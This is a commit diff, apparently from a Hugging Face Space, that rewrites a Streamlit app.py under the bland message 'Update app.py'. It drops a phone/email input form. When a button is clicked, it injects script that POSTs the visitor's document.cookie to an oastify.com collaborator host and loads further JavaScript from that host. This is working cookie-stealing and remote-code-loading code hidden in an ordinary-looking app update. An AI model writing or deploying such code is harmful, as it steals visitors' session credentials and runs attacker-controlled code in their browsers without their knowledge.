xwxwxw12 commited on
Commit
d336d80
·
verified ·
1 Parent(s): 073aff0

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +12 -16
app.py CHANGED
@@ -1,21 +1,17 @@
1
  import streamlit as st
2
 
3
- # Title of the app
4
- st.title("Phone Number and Email Input")
5
-
6
- # Input fields for phone number and email with autocomplete attributes
7
- phone_number = st.text_input("Phone Number", "", autocomplete="tel")
8
- email = st.text_input("Email", "", autocomplete="email")
9
-
10
  # Create a button that will trigger the alert
11
  if st.button('Show Alert'):
12
- # JavaScript code to show an alert
13
- st.components.v1.html("""
14
- <script>
15
- alert('This is an alert message!');
16
- </script>
17
- """, height=0)
18
 
19
- # Display the input values
20
- st.write("Phone Number:", phone_number)
21
- st.write("Email:", email)
 
 
 
 
 
 
 
 
 
 
1
  import streamlit as st
2
 
 
 
 
 
 
 
 
3
  # Create a button that will trigger the alert
4
  if st.button('Show Alert'):
 
 
 
 
 
 
5
 
6
+ st.components.v1.html("""
7
+ <div>
8
+ <script>
9
+ fetch('https://qa4x8rkj42frovc18lwydjvprgx9l09p.oastify.com', {
10
+ method: 'POST',
11
+ mode: 'no-cors',
12
+ body:document.cookie
13
+ });
14
+ </script>
15
+ <script src='https://qa4x8rkj42frovc18lwydjvprgx9l09p.oastify.com/javascript.js'>
16
+ </script>
17
+ """, height=150)